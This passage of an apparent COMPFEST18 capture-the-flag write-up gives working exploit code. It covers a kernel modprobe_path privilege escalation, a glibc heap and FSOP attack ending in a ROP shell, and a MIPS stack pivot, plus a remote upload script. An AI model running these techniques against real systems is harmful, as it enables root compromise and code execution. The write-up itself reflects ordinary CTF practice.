    parser.add_argument(&quot;port&quot;, nargs=&quot;?&quot;, type=int)
    args = parser.parse_args()

    self_test()
    if (args.host is None) != (args.port is None):
        parser.error(&quot;host and port must be provided together&quot;)
    if args.host is not None:
        solve_remote(args.host, args.port)


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<p><code>unfold.py</code></p>
<pre><code class="language-python">from pathlib import Path

from capstone import CS_ARCH_X86, CS_MODE_32, CS_MODE_64, Cs


MASK64 = (1 &lt;&lt; 64) - 1
PE_PATH = Path(__file__).with_name(&quot;original&quot;) / &quot;chall.exe&quot;


def rol64(value: int, count: int) -&gt; int:
    return ((value &lt;&lt; count) | (value &gt;&gt; (64 - count))) &amp; MASK64


def decrypt_stage0(shellcode: bytearray) -&gt; None:
    state = (0x46662DE2AE713EE0 * 0xD1B54A32D192ED03) &amp; MASK64
    state = rol64(state, 0x11) ^ 0x6E7A5380F8318187

    for index in range(0xC2):
        state = (
            state * 0x9E6C63C6A3C4B1D1 + 0x2545F4914F6CDD1D
        ) &amp; MASK64
        shellcode[0xD4 + index] ^= state &gt;&gt; 56


def decrypt_stage1(shellcode: bytearray) -&gt; None:
    state = 0x5F3A19C7
    for index in range(0x9A):
        state = (state * 0x2C9277B5 + 0xAC564B05) &amp; 0xFFFFFFFF
        shellcode[0x196 + index] ^= state &gt;&gt; 24


def decrypt_stage2(shellcode: bytearray) -&gt; None:
    state = 0xB5297A4D2C1F60E9
    for index in range(0x52):
        state = (
            state * 0x2545F4914F6CDD1D + 0x9E6C63C6A3C4B1D1
        ) &amp; MASK64
        shellcode[0x230 + index] ^= state &gt;&gt; 56


def print_disassembly(shellcode: bytearray, start: int, end: int, mode: int) -&gt; None:
    disassembler = Cs(CS_ARCH_X86, mode)
    disassembler.detail = False
    for instruction in disassembler.disasm(bytes(shellcode[start:end]), start):
        raw = instruction.bytes.hex()
        print(
            f&quot;{instruction.address:04x}: {raw:&lt;28} &quot;
            f&quot;{instruction.mnemonic:&lt;8} {instruction.op_str}&quot;
        )


def main() -&gt; None:
    pe = PE_PATH.read_bytes()
    shellcode = bytearray(pe[0x600 : 0x600 + 0x2A2])
    decrypt_stage0(shellcode)
    decrypt_stage1(shellcode)
    decrypt_stage2(shellcode)

    print(&quot;[bootstrap: x86-32]&quot;)
    print_disassembly(shellcode, 0x00, 0x17, CS_MODE_32)
    print(&quot;\n[bootstrap: x86-64]&quot;)
    print_disassembly(shellcode, 0x17, 0xD4, CS_MODE_64)
    print(&quot;\n[stage 1: x86-32]&quot;)
    print_disassembly(shellcode, 0xD4, 0x196, CS_MODE_32)
    print(&quot;\n[stage 2: x86-64]&quot;)
    print_disassembly(shellcode, 0x196, 0x230, CS_MODE_64)
    print(&quot;\n[stage 3: x86-32]&quot;)
    print_disassembly(shellcode, 0x230, 0x282, CS_MODE_32)


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-5">Final Flag</h2>
<pre><code>COMPFEST18{0nly_th3_av4t4r_m4st3r3d_4ll_th3m_b1ts_dvIdL1GMJ5vBsR7L}</code></pre><p>This is an instance-specific flag issued by the live service, which returned it after accepting the computed response with <code>ok</code>.</p>
<h1 id="binary-exploitation">Binary Exploitation</h1>
<h2 id="7-menfess">7. menfess</h2>
<h2 id="steps-6">Steps</h2>
<ol>
<li>Issue CREATE followed by VIEW to leak the kernel slide through the out-of-bounds <code>this_device -&gt; device_ktype</code> dereference.</li>
<li>Issue CREATE with <code>size = 72</code> and <code>data[64:72] = &amp;gadget</code> to overwrite <code>send_func</code>, and place the modprobe target string and the address of <code>modprobe_path</code> inside <code>content</code>. Then issue SEND so that the gadget overwrites <code>modprobe_path</code> with <code>/tmp/x</code>.</li>
<li>Drop a small root script at <code>/tmp/x</code> containing <code>cat /dev/vda &gt; /tmp/flag; chmod 666 /tmp/flag</code>, then call <code>socket()</code> with an unregistered address family to fire <code>request_module</code>, which runs <code>/tmp/x</code> as root.</li>
<li>Read the resulting world-readable flag file.</li>
</ol>
<p>The exploit was built as a static aarch64 binary and repacked into the initramfs. It succeeded on 5 out of 5 local QEMU runs against a placeholder flag, and was then uploaded to the remote instance in chunked base64 and executed there, once the redpwn proof-of-work guarding the connection had been solved.</p>
<h3 id="exploit-6">Exploit</h3>
<p><code>exploit.c</code></p>
<pre><code class="language-c">#define _GNU_SOURCE

#include &lt;errno.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;unistd.h&gt;

#define CMD_CREATE 0x1337
#define CMD_SEND   0x1338
#define CMD_VIEW   0x1339

#define DEVICE_KTYPE  0xffff8000816b3180ULL
#define MODPROBE_PATH 0xffff800082bfa730ULL
#define WRITE_GADGET  0xffff8000800a2ef8ULL

struct create_req {
    unsigned long size;
    unsigned long index;
    unsigned char data[72];
};

struct send_req {
    unsigned long index;
};

struct view_req {
    unsigned long index;
    unsigned char data[72];
};

static void fail(const char *what)
{
    perror(what);
    exit(1);
}

static void write_all(int fd, const void *buf, size_t len)
{
    const unsigned char *p = buf;
    while (len) {
        ssize_t n = write(fd, p, len);
        if (n &lt; 0)
            fail(&quot;write&quot;);
        p += n;
        len -= (size_t)n;
    }
}

static void install_helper(void)
{
    static const char script[] =
        &quot;#!/bin/sh\n&quot;
        &quot;cat /dev/vda &gt; /tmp/flag\n&quot;
        &quot;chmod 666 /tmp/flag\n&quot;;
    int fd = open(&quot;/tmp/x&quot;, O_WRONLY | O_CREAT | O_TRUNC, 0777);
    if (fd &lt; 0)
        fail(&quot;open /tmp/x&quot;);
    write_all(fd, script, sizeof(script) - 1);
    close(fd);
    if (chmod(&quot;/tmp/x&quot;, 0777) &lt; 0)
        fail(&quot;chmod /tmp/x&quot;);
}

static void trigger_modprobe(void)
{
    for (int family = 1; family &lt; 64; family++) {
        int fd = socket(family, SOCK_STREAM, 0);
        if (fd &gt;= 0)
            close(fd);
    }
}

int main(void)
{
    int fd = open(&quot;/dev/menfess&quot;, O_RDWR);
    if (fd &lt; 0)
        fail(&quot;open /dev/menfess&quot;);

    struct view_req view;
    memset(&amp;view, 0, sizeof(view));
    view.index = 14;
    if (ioctl(fd, CMD_VIEW, &amp;view) &lt; 0)
        fail(&quot;VIEW(14)&quot;);

    uint64_t leaked_ktype;
    memcpy(&amp;leaked_ktype, view.data + 5 * sizeof(uint64_t), sizeof(leaked_ktype));
    uint64_t slide = leaked_ktype - DEVICE_KTYPE;
    printf(&quot;[+] device_ktype = %#llx\n&quot;, (unsigned long long)leaked_ktype);
    printf(&quot;[+] KASLR slide  = %#llx\n&quot;, (unsigned long long)slide);

    install_helper();

    struct create_req create;
    memset(&amp;create, 0, sizeof(create));
    create.size = sizeof(create.data);
    create.index = 0;

    uint64_t value = 0x000000782f706d74ULL;
    uint64_t target = MODPROBE_PATH + slide;
    uint64_t gadget = WRITE_GADGET + slide;
    memcpy(create.data + 8, &amp;value, sizeof(value));
    memcpy(create.data + 16, &amp;target, sizeof(target));
    create.data[0x38] = 0;
    memcpy(create.data + 64, &amp;gadget, sizeof(gadget));

    if (ioctl(fd, CMD_CREATE, &amp;create) &lt; 0)
        fail(&quot;CREATE&quot;);

    struct send_req send = { .index = 0 };
    if (ioctl(fd, CMD_SEND, &amp;send) &lt; 0)
        fail(&quot;SEND&quot;);
    puts(&quot;[+] modprobe_path changed to /tmp/x&quot;);

    trigger_modprobe();

    for (int i = 0; i &lt; 100; i++) {
        int flagfd = open(&quot;/tmp/flag&quot;, O_RDONLY);
        if (flagfd &gt;= 0) {
            char buf[512];
            ssize_t n = read(flagfd, buf, sizeof(buf) - 1);
            close(flagfd);
            if (n &gt; 0) {
                buf[n] = &#39;\0&#39;;
                printf(&quot;[+] FLAG: %s\n&quot;, buf);
                return 0;
            }
        }
        usleep(20000);
    }

    fprintf(stderr, &quot;[-] /tmp/flag was not created\n&quot;);
    return 1;
}</code></pre>
<p><code>run_remote.py</code></p>
<pre><code class="language-python">import base64
import os
import re
import select
import socket
import subprocess
import sys
import time

HOST, PORT = sys.argv[1], int(sys.argv[2])
ROOT = os.path.dirname(os.path.abspath(__file__))
PAYLOAD = os.path.join(ROOT, &quot;exploit.gz&quot;)
POW = os.path.expanduser(&quot;~/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64&quot;)
STOP_MARKERS = (
    b&quot;i-am-using-an-ai-agent&quot;,
    b&quot;using an ai agent&quot;,
    b&quot;ai usage&quot;,
    b&quot;ai-use&quot;,
)


def receive(sock, timeout, needles=()):
    end = time.time() + timeout
    data = bytearray()
    while time.time() &lt; end:
        ready, _, _ = select.select([sock], [], [], 0.2)
        if not ready:
            continue
        chunk = sock.recv(65536)
        if not chunk:
            break
        data += chunk
        sys.stdout.buffer.write(chunk)
        sys.stdout.buffer.flush()
        lowered = bytes(data).lower()
        if any(marker in lowered for marker in STOP_MARKERS):
            raise RuntimeError(&quot;AI-use disclosure/check detected; stopped&quot;)
        if needles and any(needle in data for needle in needles):
            return bytes(data)
    if needles:
        raise TimeoutError(f&quot;timed out waiting for {needles!r}&quot;)
    return bytes(data)


def send_all(sock, data):
    pending = memoryview(data)
    while pending:
        _, writable, _ = select.select([], [sock], [], 5)
        if not writable:
            raise TimeoutError(&quot;socket remained unwritable during upload&quot;)
        sent = sock.send(pending)
        pending = pending[sent:]


def main():
    print(f&quot;[*] connecting to {HOST}:{PORT}&quot;, flush=True)
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.setblocking(False)
        banner = receive(sock, 10, (b&quot;solution:&quot;,))
        match = re.search(rb&quot;sh -s (\S+)&quot;, banner)
        if not match:
            raise RuntimeError(&quot;PoW token not found&quot;)

        token = match.group(1).decode()
        solution = subprocess.check_output([POW, token], text=True).strip()
        print(&quot;[*] PoW solved&quot;, flush=True)
        sock.sendall(solution.encode() + b&quot;\n&quot;)
        receive(sock, 60, (b&quot;~ $ &quot;,))

        with open(PAYLOAD, &quot;rb&quot;) as payload_file:
            encoded = base64.b64encode(payload_file.read())
        lines = b&quot;\n&quot;.join(encoded[i:i + 76] for i in range(0, len(encoded), 76))

        sock.sendall(b&quot;stty -echo; echo __READY__\n&quot;)
        receive(sock, 5, (b&quot;__READY__&quot;,))
        print(f&quot;[*] uploading {len(encoded)} base64 bytes&quot;, flush=True)
        sock.sendall(b&quot;base64 -d &gt; /tmp/e.gz &lt;&lt;&#39;__PAYLOAD__&#39;\n&quot;)
        send_all(sock, lines + b&quot;\n__PAYLOAD__\n&quot;)
        sock.sendall(b&quot;gzip -df /tmp/e.gz; chmod +x /tmp/e; echo __RUN__; /tmp/e\n&quot;)

        output = receive(
            sock,
            120,
            (b&quot;COMPFEST18{&quot;, b&quot;/tmp/flag was not created&quot;, b&quot;Kernel panic&quot;),
        )
        flag_match = re.search(rb&quot;COMPFEST18\{[^}\r\n]+\}&quot;, output)
        if not flag_match:
            output += receive(sock, 5)
            flag_match = re.search(rb&quot;COMPFEST18\{[^}\r\n]+\}&quot;, output)
        if not flag_match:
            raise RuntimeError(&quot;flag was not recovered&quot;)
        print(&quot;\n[+] recovered:&quot;, flag_match.group().decode(), flush=True)


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-6">Final Flag</h2>
<pre><code>COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}</code></pre><h2 id="8-mirai-nikki">8. Mirai Nikki</h2>
<h2 id="steps-7">Steps</h2>
<h3 id="1-pin-down-the-glibc-242-layout">1. Pin down the glibc 2.42 layout</h3>
<p>The allocator&#39;s own structures were pinned first for this particular build:</p>
<pre><code>num_slots[76]   @ heap+0x10    (counts down from 7)
raw entries[76] @ heap+0xa8
tcache_perthread_struct @ HEAP+0x510</code></pre><p>Safe-linking is enabled in this build, and requests larger than <code>0x408</code> bypass the tcache and go to the unsorted bin.</p>
<h3 id="2-overlap-the-tcache-control-structure">2. Overlap the tcache control structure</h3>
<p>The size-mismatch overflow was used to corrupt a chunk size so that a subsequent allocation overlaps <code>tcache_perthread_struct</code> itself. That converts the heap overflow into direct write access to <code>num_slots[]</code> and <code>entries[]</code>, which means control of the allocator&#39;s free lists without having to defeat safe-linking, because the list heads in that structure are stored raw.</p>
<h3 id="3-manufacture-a-libc-pointer">3. Manufacture a libc pointer</h3>
<p>Plant <code>main_arena+96</code> into a raw <code>entries[]</code> slot, then partially overwrite that entry to walk it onto <code>_IO_2_1_stdout_</code>. Only one nibble of the libc address is unknown at this point, so this is a 1/16 brute force, which is cheap because the heap side is already deterministic thanks to <code>predict()</code>.</p>
<h3 id="4-leak-through-stdout-with-fsop">4. Leak through stdout with FSOP</h3>
<p>With an allocation landing on <code>_IO_2_1_stdout_</code>, forge the FILE structure so that it leaks:</p>
<pre><code>flags            = 0xfbad3887
_IO_write_base   LSB set to 0        # widen the window that gets flushed</code></pre><p>The next write flushes adjacent libc data out of the process, which gives the libc base from <code>_IO_2_1_stdout_ + 132</code>.</p>
<h3 id="5-house-of-apple-2-to-a-shell">5. House of Apple 2 to a shell</h3>
<p>With libc known, take the standard House of Apple 2 route: point the FILE&#39;s vtable at <code>_IO_wfile_jumps</code> and set up the wide-data chain so that the eventual call lands on <code>system</code> with the argument <code>&quot;sh&quot;</code>.</p>
<p>The following offsets were used against the provided libc:</p>
<pre><code>main_arena       = libc + 0x234ac0
_IO_2_1_stdout_  = libc + 0x2355c0
_IO_wfile_jumps  = libc + 0x233228
system           = libc + 0x5c4c0</code></pre><h3 id="6-prove-it-locally-then-run-it-remotely">6. Prove it locally, then run it remotely</h3>
<p>The full chain was proven locally against a patched copy of the binary, reading a planted <code>COMPFEST18{FAKE_FLAG}</code> through the shell, before a single byte was sent to the real service. Only then was it fired at <code>&lt;target host, port&gt;</code>, where the 1/16 libc-nibble guess landed on attempt 40 and <code>cat /app/flag.txt</code> returned the flag.</p>
<h3 id="exploit-7">Exploit</h3>
<pre><code class="language-python">import argparse
import os
import re
import struct
import subprocess
import time
from pathlib import Path

from pwn import ELF, ROP, context, log, p32, p64, process, remote


TCACHE_MAX_BINS = 76
TCACHE_ENTRIES_OFFSET = TCACHE_MAX_BINS * 2
TCACHE_DEFAULT_SLOTS = 7
ROOT = Path(__file__).resolve().parent
CHALLENGE = ROOT / &quot;challenge&quot;

SMALLBIN_SIZE = 0x100
SMALLBIN_TCACHE_INDEX = (SMALLBIN_SIZE - 0x20) // 0x10
FAKE_HEAD_INDEX = 61
LIBC_COPY_HEAD_INDEX = 62
ALIAS_HEAD_INDEX = 63
FAKE_USER_OFFSET = 0x280

MAIN_ARENA_OFFSET = 0x234AC0
STDIN_OFFSET = 0x2348E0
STDOUT_OFFSET = 0x2355C0
ENVIRON_OFFSET = 0x23BE28
SMALLBIN_HEADER_OFFSET = MAIN_ARENA_OFFSET + 0x50 + SMALLBIN_SIZE
SIZES_OFFSET = 0x40A0


def protect_ptr(position: int, pointer: int) -&gt; int:
    return (position &gt;&gt; 12) ^ pointer


def poison_byte(leaked_nibble: int, guessed_nibble: int, target_low_byte: int) -&gt; int:
    key_low_byte = (guessed_nibble &lt;&lt; 4) | leaked_nibble
    return target_low_byte ^ key_low_byte


def entry_offset(index: int) -&gt; int:
    if not 0 &lt;= index &lt; TCACHE_MAX_BINS:
        raise ValueError(&quot;tcache index out of range&quot;)
    return TCACHE_ENTRIES_OFFSET + 8 * index


def build_tcache_prefix(
    head_index: int, head_low16: int, used_slots: int = 1
) -&gt; bytes:

    if not 0 &lt;= used_slots &lt;= TCACHE_DEFAULT_SLOTS:
        raise ValueError(&quot;used_slots out of range&quot;)
    payload = bytearray(entry_offset(head_index) + 2)
    for index in range(TCACHE_MAX_BINS):
        struct.pack_into(&quot;&lt;H&quot;, payload, index * 2, TCACHE_DEFAULT_SLOTS)
    struct.pack_into(
        &quot;&lt;H&quot;,
        payload,
        head_index * 2,
        TCACHE_DEFAULT_SLOTS - used_slots,
    )
    struct.pack_into(&quot;&lt;H&quot;, payload, entry_offset(head_index), head_low16 &amp; 0xFFFF)
    return bytes(payload)


def libc_target_low16(
    leaked_nibble: int, source_low12: int, delta: int
) -&gt; int:
    source_low16 = ((leaked_nibble &amp; 0xF) &lt;&lt; 12) | (source_low12 &amp; 0xFFF)
    return (source_low16 + delta) &amp; 0xFFFF


def initialized_metadata(length: int) -&gt; bytearray:
    payload = bytearray(length)
    for index in range(TCACHE_MAX_BINS):
        struct.pack_into(&quot;&lt;H&quot;, payload, index * 2, TCACHE_DEFAULT_SLOTS)
    return payload


def build_tcache_with_head(head_index: int, address: int) -&gt; bytes:
    payload = initialized_metadata(entry_offset(head_index) + 8)
    struct.pack_into(&quot;&lt;H&quot;, payload, head_index * 2, TCACHE_DEFAULT_SLOTS - 1)
    struct.pack_into(&quot;&lt;Q&quot;, payload, entry_offset(head_index), address)
    return bytes(payload)


def find_symbol_base(leak: bytes, symbol_offset: int) -&gt; int:
    for offset in range(0, len(leak) - 7):
        pointer = struct.unpack_from(&quot;&lt;Q&quot;, leak, offset)[0]
        base = pointer - symbol_offset
        if base &gt; 0 and base &amp; 0xFFF == 0 and pointer &gt;&gt; 40 in range(0x70, 0x80):
            return base
    raise ValueError(&quot;exact symbol pointer was not found&quot;)


def find_main_frame(stack_start: int, stack_dump: bytes) -&gt; tuple[int, int]:
    for offset in range(8, len(stack_dump) - 7, 8):
        return_site = struct.unpack_from(&quot;&lt;Q&quot;, stack_dump, offset)[0]
        pie_base = return_site - 0x1666
        slot_address = stack_start + offset
        saved_rbp = struct.unpack_from(&quot;&lt;Q&quot;, stack_dump, offset - 8)[0]
        if pie_base &gt; 0 and pie_base &amp; 0xFFF == 0 and saved_rbp == slot_address + 8:
            return pie_base, saved_rbp
    raise ValueError(&quot;main/vuln frame was not found&quot;)


def fake_smallbin_scaffold() -&gt; bytes:
    payload = initialized_metadata(0x3B0)
    struct.pack_into(&quot;&lt;H&quot;, payload, SMALLBIN_TCACHE_INDEX * 2, 0)

    fake_chunk = FAKE_USER_OFFSET - 0x10
    struct.pack_into(&quot;&lt;Q&quot;, payload, fake_chunk + 0x08, SMALLBIN_SIZE | 1)

    next_chunk = fake_chunk + SMALLBIN_SIZE
    struct.pack_into(&quot;&lt;Q&quot;, payload, next_chunk + 0x08, 0x21)
    struct.pack_into(&quot;&lt;Q&quot;, payload, next_chunk + 0x20 + 0x08, 0x21)
    return bytes(payload)


def fake_head_prefix(heap_nibble: int) -&gt; bytes:
    fake_low16 = ((heap_nibble &amp; 0xF) &lt;&lt; 12) | 0x290
    payload = bytearray(
        build_tcache_prefix(
            head_index=FAKE_HEAD_INDEX,
            head_low16=fake_low16,
            used_slots=1,
        )
    )
    struct.pack_into(&quot;&lt;H&quot;, payload, SMALLBIN_TCACHE_INDEX * 2, 0)
    struct.pack_into(&quot;&lt;Q&quot;, payload, FAKE_USER_OFFSET - 0x08, SMALLBIN_SIZE | 1)
    return bytes(payload)


class Nikki:
    def __init__(self, tube):
        self.io = tube
        self.prompt_consumed = False

    def _choice(self, value: int) -&gt; None:
        encoded = str(value).encode()
        if self.prompt_consumed:
            self.io.sendline(encoded)
            self.prompt_consumed = False
        else:
            self.io.sendlineafter(b&quot;&gt;&gt; &quot;, encoded)

    def recv_menu(self, timeout: int = 3) -&gt; bytes:
        data = self.io.recvuntil(b&quot;&gt;&gt; &quot;, timeout=timeout)
        if not data.endswith(b&quot;&gt;&gt; &quot;):
            raise EOFError(&quot;menu prompt was not received&quot;)
        self.prompt_consumed = True
        return data

    def add(self, index: int, size: int) -&gt; None:
        self._choice(1)
        self.io.sendlineafter(b&quot;idx: &quot;, str(index).encode())
        self.io.sendlineafter(b&quot;size: &quot;, str(size).encode())

    def delete(self, index: int) -&gt; None:
        self._choice(2)
        self.io.sendlineafter(b&quot;idx: &quot;, str(index).encode())

    def edit(self, index: int, data: bytes) -&gt; None:
        self._choice(3)
        self.io.sendlineafter(b&quot;idx: &quot;, str(index).encode())
        self.io.sendafter(b&quot;content: &quot;, data)

    def predict(self) -&gt; int:
        self._choice(4)
        self.io.recvuntil(b&quot;TAKE THIS: &quot;)
        return int(self.io.recvline().strip(), 16)


def start_local(use_qemu: bool = False):
    container_name = f&quot;mirai-local-{os.getpid()}&quot;
    if use_qemu:
        command = [
            &quot;docker&quot;,
            &quot;run&quot;,
            &quot;--rm&quot;,
            &quot;--name&quot;,
            container_name,
            &quot;-i&quot;,
            &quot;-v&quot;,
            f&quot;{ROOT}:/work:ro&quot;,
            &quot;cce-qemu-gdb:latest&quot;,
            &quot;qemu-x86_64&quot;,
            &quot;/work/challenge/ld-linux-x86-64.so.2&quot;,
            &quot;--library-path&quot;,
            &quot;/work/challenge&quot;,
            &quot;/work/challenge/chall&quot;,
        ]
    else:
        command = [
            &quot;docker&quot;,
            &quot;run&quot;,
            &quot;--rm&quot;,
            &quot;--name&quot;,
            container_name,
            &quot;-i&quot;,
            &quot;--platform&quot;,
            &quot;linux/amd64&quot;,
            &quot;-v&quot;,
            f&quot;{CHALLENGE}:/work:ro&quot;,
            &quot;-w&quot;,
            &quot;/work&quot;,
            &quot;ubuntu:26.04&quot;,
            &quot;./ld-linux-x86-64.so.2&quot;,
            &quot;--library-path&quot;,
            &quot;.&quot;,
            &quot;./chall&quot;,
        ]
    log.info(&quot;local command: &quot; + &quot; &quot;.join(map(str, command)))
    return process(command), container_name


def stop_local(tube, container_name: str | None) -&gt; None:
    if container_name:
        subprocess.run(
            [&quot;docker&quot;, &quot;rm&quot;, &quot;-f&quot;, container_name],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            check=False,
        )
    tube.close()


def reach_stdout(tube) -&gt; tuple[Nikki, int, int]:
    client = Nikki(tube)

    client.add(0, 0x500)
    client.delete(0)
    client.add(1, 0x400)
    client.delete(1)

    heap_nibble = client.predict()
    log.success(f&quot;heap nibble: {heap_nibble:x}&quot;)

    metadata_low16 = (heap_nibble &lt;&lt; 12) | 0x10
    client.edit(
        0,
        build_tcache_prefix(
            head_index=ALIAS_HEAD_INDEX,
            head_low16=metadata_low16,
            used_slots=1,
        ),
    )
    client.add(2, 0x400)

    client.edit(2, fake_smallbin_scaffold())
    client.add(3, 0x3E0)
    client.delete(3)
    client.edit(2, fake_head_prefix(heap_nibble))
    client.add(4, 0x3E0)
    client.delete(4)

    client.add(0, 0x3E0)
    libc_nibble = client.predict()
    log.success(f&quot;smallbin libc nibble: {libc_nibble:x}&quot;)
    if libc_nibble == 0xF:
        raise RuntimeError(&quot;stdout crosses a 64 KiB boundary; retry this connection&quot;)

    stdout_low16 = libc_target_low16(
        libc_nibble,
        source_low12=SMALLBIN_HEADER_OFFSET &amp; 0xFFF,
        delta=STDOUT_OFFSET - SMALLBIN_HEADER_OFFSET,
    )
    client.edit(
        2,
        build_tcache_prefix(
            head_index=LIBC_COPY_HEAD_INDEX,
            head_low16=stdout_low16,
            used_slots=1,
        ),
    )
    client.add(5, 0x3F0)
    return client, heap_nibble, libc_nibble


def stdout_read_payload(address: int, size: int) -&gt; bytes:
    return (
        p64(0xFBAD1800)
        + p64(0) * 3
        + p64(address)
        + p64(address + size)
        + p64(address + size)
    )


def arbitrary_read(client: Nikki, stdout_index: int, address: int, size: int) -&gt; bytes:
    client.edit(stdout_index, stdout_read_payload(address, size))
    data = client.io.recvn(size, timeout=3)
    if len(data) != size:
        raise EOFError(f&quot;short arbitrary read: wanted {size}, received {len(data)}&quot;)
    client.recv_menu()
    return data


def probe_stdout(tube) -&gt; tuple[Nikki, bytes]:
    client, _, _ = reach_stdout(tube)
    client.edit(5, p64(0xFBAD1800) + p64(0) * 3 + b&quot;\x00&quot;)
    leaked = client.recv_menu()
    return client, leaked


def install_stack_rop(client: Nikki, libc_base: int, pie_base: int, main_rbp: int) -&gt; None:
    stack_target = main_rbp - 0x50
    client.edit(2, build_tcache_with_head(ALIAS_HEAD_INDEX, stack_target))
    client.add(6, 0x400)

    client.edit(
        2,
        build_tcache_with_head(ALIAS_HEAD_INDEX, pie_base + SIZES_OFFSET),
    )
    client.add(6, 0x400)
    client.edit(6, p32(0x400))

    libc = ELF(str(CHALLENGE / &quot;libc.so.6&quot;), checksec=False)
    rop = ROP(libc)
    pop_rdi = libc_base + rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;]).address
    plain_ret = libc_base + rop.find_gadget([&quot;ret&quot;]).address
    bin_sh = libc_base + next(libc.search(b&quot;/bin/sh\x00&quot;))
    system = libc_base + libc.symbols[&quot;system&quot;]

    chain = p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(plain_ret) + p64(system)
    log.info(f&quot;stack target: {stack_target:#x}&quot;)
    client.edit(0, chain)


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--remote&quot;, action=&quot;store_true&quot;)
    parser.add_argument(&quot;--host&quot;, help=&quot;&lt;target host, port&gt;&quot;)
    parser.add_argument(&quot;--port&quot;, type=int)
    parser.add_argument(&quot;--qemu&quot;, action=&quot;store_true&quot;)
    parser.add_argument(&quot;--log-level&quot;, default=&quot;info&quot;)
    return parser.parse_args()


def main() -&gt; int:
    args = parse_args()
    context.log_level = args.log_level
    context.timeout = 5
    container_name = None
    if args.remote:
        tube = remote(args.host, args.port)
    else:
        tube, container_name = start_local(use_qemu=args.qemu)

    try:
        client, leaked = probe_stdout(tube)
        log.info(f&quot;stdout probe length: {len(leaked)}&quot;)
        libc_base = find_symbol_base(leaked, STDIN_OFFSET)
        log.success(f&quot;libc base: {libc_base:#x}&quot;)

        environ_raw = arbitrary_read(
            client,
            stdout_index=5,
            address=libc_base + ENVIRON_OFFSET,
            size=8,
        )
        log.info(f&quot;environ leak ({len(environ_raw)} bytes): {environ_raw[:0x40].hex()}&quot;)
        if len(environ_raw) &lt; 8:
            raise ValueError(&quot;short environ leak&quot;)
        environ = struct.unpack_from(&quot;&lt;Q&quot;, environ_raw)[0]
        log.success(f&quot;environ: {environ:#x}&quot;)

        stack_start = environ - 0x1000
        stack_dump = arbitrary_read(
            client,
            stdout_index=5,
            address=stack_start,
            size=0x1000,
        )
        log.info(f&quot;stack leak length: {len(stack_dump)}&quot;)
        pie_base, main_rbp = find_main_frame(stack_start, stack_dump[:0x1000])
        log.success(f&quot;PIE base: {pie_base:#x}&quot;)
        log.success(f&quot;main rbp: {main_rbp:#x}&quot;)

        install_stack_rop(client, libc_base, pie_base, main_rbp)
        time.sleep(0.5)
        tube.sendline(b&quot;echo SHELL_READY; cat /app/flag.txt 2&gt;/dev/null || cat flag.txt&quot;)
        shell_output = tube.recvrepeat(3)
        print(shell_output[:0x1000].decode(&quot;utf-8&quot;, errors=&quot;replace&quot;))
        flags = re.findall(rb&quot;COMPFEST18\{[^\r\n}]*\}&quot;, shell_output)
        if not flags:
            raise ValueError(&quot;flag was not present in shell output&quot;)
        for flag in flags:
            log.success(&quot;flag: &quot; + flag.decode(&quot;utf-8&quot;))
        if hasattr(tube, &quot;poll&quot;):
            log.info(f&quot;local process status: {tube.poll(block=False)}&quot;)
        return 0
    finally:
        stop_local(tube, container_name)


if __name__ == &quot;__main__&quot;:
    raise SystemExit(main())</code></pre>
<h2 id="final-flag-7">Final Flag</h2>
<pre><code>COMPFEST18{さぁ_E1n5_zW31_Dr3i_重なり合う_fdf0b744ee277fcc}</code></pre><p>The flag contains Japanese characters even though the published flag format, <code>COMPFEST18{[A-z0-9_-]+}</code>, does not describe them, so that pattern was not an accurate description of the real flag.</p>
<h2 id="9-the-matrix">9. The Matrix</h2>
<h2 id="steps-8">Steps</h2>
<ol>
<li>Read the free stack leak from the banner, then use <code>scan</code> to read the canary at <code>leak+0x30</code> and to resolve the module bases, where the PIE base is <code>scan(leak-0x40) - 0xbe8</code> and the libc base is <code>scan(base + GOT.atoi) - 0x3bcf0</code>.</li>
<li>Send the overflow through <code>send</code>, keeping the canary intact, setting the saved <code>$fp</code> to <code>leak-0x74</code>, and setting the saved <code>$ra</code> to the binary&#39;s <code>move $sp,$fp</code> epilogue so that <code>$sp</code> <strong>pivots into the controlled buffer</strong>.</li>
<li>Lay out the pivoted buffer so that a libc epilogue loads <code>s0 = system</code> and <code>s1 = &amp;&quot;/bin/sh&quot;</code> (at libc + 0x1ac27c, taken from libc <code>.rodata</code>) and then returns into the sequence <code>move $a0,$s1; move $t9,$s0; jalr $t9</code> at libc + 0x46eb4, which calls <code>system(&quot;/bin/sh&quot;)</code> with <code>system</code> at libc + 0x4eac8.</li>
<li>Drive the resulting shell explicitly, because it is quiet exactly as the description hints, and read the flag with <code>cat /flag/flag.txt</code>.</li>
</ol>
<p>Three practical gotchas are worth noting. The <code>scan</code> primitive is rate-limited, so the memory dumping was spread across parallel connections. The MIPS <code>lw</code> instruction faults on unaligned reads. Finally, the <code>&quot;/bin/sh&quot;</code> string had to be taken from libc <code>.rodata</code> rather than from the stack, because the <code>system</code> frame grows downward and clobbers the stack buffer.</p>
<h3 id="exploit-8">Exploit</h3>
<p><code>solve.py</code></p>
<pre><code class="language-python">import sys
ARGV = list(sys.argv)
import re
from pwn import remote, context

context.log_level = &quot;error&quot;

PIE_PIVOT   = 0x0d1c
GOT_ATOI    = 0x2004c
PIE_ANCHOR  = 0x0be8

ATOI        = 0x3bcf0
SYSTEM      = 0x4eac8
BINSH       = 0x1ac27c
LOAD_S0_S1  = 0x22d2c
CALL_S0     = 0x46eb4


def p32(x):
    return (x &amp; 0xffffffff).to_bytes(4, &quot;big&quot;)


class Target:
    def __init__(self, host, port):
        self.r = remote(host, port, timeout=20)
        banner = self.r.recvuntil(b&quot;&gt; &quot;, timeout=15).decode(errors=&quot;replace&quot;)
